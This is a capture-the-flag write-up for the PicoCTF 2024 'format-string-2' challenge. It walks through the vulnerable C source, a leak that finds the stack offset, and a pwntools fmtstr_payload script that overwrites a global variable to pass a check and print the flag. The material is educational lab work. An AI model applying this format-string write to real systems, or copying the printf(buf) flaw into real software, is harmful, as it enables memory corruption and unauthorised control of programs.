PicoCTF 2024: format-string-2
Recon
Following the format-string-1 challenge, we get an executable that we can analyze as always:
$ file vuln
vuln: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=dfe923d97df1df729249ff21202d10ad15d45f4c, for GNU/Linux 3.2.0, not stripped
$ checksec --file=vuln
[*] '/home/qelal/PicoCTF/fmt2/vuln'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
We can take a look at the source code:
#include <stdio.h>
int sus = 0x21737573;
int main() {
char buf[1024];
char flag[64];
printf("You don't have what it takes. Only a true wizard could change my suspicions. What do you have to say?\n");
fflush(stdout);
scanf("%1024s", buf);
printf("Here's your input: ");
printf(buf);
printf("\n");
fflush(stdout);
if (sus == 0x67616c66) {
printf("I have NO clue how you did that, you must be a wizard. Here you go...\n");
// Read in the flag
FILE *fd = fopen("flag.txt", "r");
fgets(flag, 64, fd);
printf("%s", flag);
fflush(stdout);
}
else {
printf("sus = 0x%x\n", sus);
printf("You can do better!\n");
fflush(stdout);
}
return 0;
}There is a format string bug on printf(buf). This time
we won’t only need to read leaked data off the stack, but instead we’ll
have to overwrite a global variable, named sus. As it is
global, it won’t be stored on the stack as other local variables.
Fortunately, as the binary is not PIE, we know that the address for
sus will always be the same. It can be found from static
analysis:
$ objdump -t vuln | grep sus
0000000000404060 g O .data 0000000000000004 sus
So it is located at 0x404060. The value we’ll have to
overwrite sus with is 0x67616c66, as we know
from the source code.
Exploit
To be able to inject the address of sus and write to it,
we will first get the offset of where our input data is on the stack. To
make it easy, we will inject an unique “AAAAAAAA” payload (which in
ASCII is eight times 0x41) and see where it ends up:
$ ./vuln
You don't have what it takes. Only a true wizard could change my suspicions. What do you have to say?
AAAAAAAA%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.
Here's your input: AAAAAAAA0x402075.(nil).(nil).0x402073.0x7efcbbadaa80.0x7efcbbb3a668.0x7ffc00000001.0x7efcbbb3a2e0.0xffffffff.0x7efcbb919678.0x7efcbbb04400.0x1.0x7ffc68e8fea0.0x4141414141414141.0x70252e70252e7025.0x252e70252e70252e.
sus = 0x21737573
You can do better!
Our input is at the 14th position on the stack. To be sure we can confirm this offset by using a more precise format specifier:
$ ./vuln
You don't have what it takes. Only a true wizard could change my suspicions. What do you have to say?
AAAAAAAA%14$p
Here's your input: AAAAAAAA0x4141414141414141
sus = 0x21737573
You can do better!
By the way we could also use a bit of dynamic analysis on our local machine (with a dummy flag file) to see if our hypothesis is right (unnecessary but still nice to see):
pwndbg> set *0x404060 = 0x67616c66
pwndbg> c
Continuing.
ff
Here's your input: ff
I have NO clue how you did that, you must be a wizard. Here you go...
CTF{dummy}
[Inferior 1 (process 12774) exited normally]
Now that we know this, we can automate the exploit craft for this
using the fmtstr_payload helper from pwntools:
io = start()
sus_addr = 0x404060
payload = fmtstr_payload(14, {sus_addr: 0x67616c66})
io.sendlineafter(b'say?', payload)
print(io.recvall())This writes the desired value to the address of sus, and
the payload will be injected on 14th position of the stack, as we know
this is where our input ends up being. We bypass the check, and get the
flag.